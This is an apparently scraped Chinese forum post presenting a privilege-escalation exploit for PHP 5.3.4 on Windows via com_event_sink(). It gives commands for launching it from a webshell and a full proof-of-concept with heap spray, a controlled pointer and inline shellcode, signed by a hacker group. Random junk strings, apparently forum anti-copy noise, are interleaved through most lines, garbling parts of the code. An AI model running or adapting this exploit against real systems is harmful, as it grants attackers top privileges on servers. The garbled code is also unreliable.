|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
8 g: @6 y+ h7 w' _2 a- M
3 a; N3 _$ h1 U9 g) ?测试方法如下:cmd /c x:\php\php.exe x:\test.php
) x1 p$ L0 A6 C/ T
" g1 u) l. y* ~( L! v. X1 c下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php' s2 V( y; I) A: q
这里是两个测试的截图:
. j- G' w- y2 A6 [( ~! }, B( u9 ^# V. ?% U, b# r
% P/ u9 M; @- h/ H( o* M& V
4 K& E" [5 ?8 G& I+ I2 E _) F) q, n. B
3 i4 I- F5 p- H; d6 N4 P5 G" x3 j成功利用此漏洞的攻击者将获得系统的最高权限8 W: a2 ?( r1 l1 D* X, j" `& T# C
0 O; L: M* K/ L. [* p4 C8 b& M( ]# e# T& T( [/ n1 Y* `
- f: s& X1 t$ q8 U0 ]1 H5 i
% N2 \/ S1 S [! N) o" v1 n
) x' n: a. E8 e- Y& x6 A( b( T关于漏洞分析稍后附上。一下是PoC代码:6 S2 ?2 a' N# c( W8 ~8 e
$ z0 J: g( Y+ @8 U" x( ]- X- i<?php
# f3 B' K, O" _' }; `* ]4 s//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞3 r: O! l+ N, m! c
//$eip ="\x44\x43\x42\x41";/ j% e3 l' Q6 k$ i! M# K
$eip= "\x4b\xe8\x57\x78";5 w- x1 g. Q, W; A" _! \' m
$eax ="\x80\x01\x8d\x04";
0 ~0 U: X2 Y1 V3 O$deodrant="";
& A* A4 l* i$ q8 B, X$axespray = str_repeat($eip.$eax,0x80);
9 p/ ~" q0 K/ V1 Z/ N) [2 Z/ e//048d01903 n6 j% U, T' l+ [
echo strlen($axespray);
, @9 H+ l% q4 w2 wecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";4 `! Q& {+ V- |9 u
echo "Silic Group Hacker Army - BlackBap.Org";
, n$ u" U' V3 ?" S5 B//19200 ==4B32 4b00
i0 D9 H' J5 C3 h' O7 J6 a9 ~3 Pfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
! T* \) {$ l2 Y7 j0 O2 J1 O/ r" Y$terminate = "T";& J2 I; Q: E5 _1 a( e
$u[] =$deodrant;) P/ i3 m, i2 B
$r[] =$deodrant.$terminate;% J2 ]) g* |" |. V; d( N
$a[] =$deodrant.$terminate;$ K9 P! s! ~( H
$s[] =$deodrant.$terminate;
! A/ k6 b7 s; ^: D: M1 Q |//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
t! t |" Q8 x2 }4 Z" q$vVar = new VARIANT(0x048d0000+180);
R b$ B$ m, J {4 ?7 ? ]; U//弹窗代码(Shellcode)
: {$ {5 ]6 Z1 T6 S0 N; p/ [8 L" ~$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
8 G( M9 ]- K& q2 P0 \, [( x$var2 = new VARIANT(0x41414242);% u1 z# a ^! E* Q
com_event_sink($vVar,$var2,$buffer);
T! ~2 Y) X& z l4 q* I1 U! T2 I?>
6 J/ O' A; g- a |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|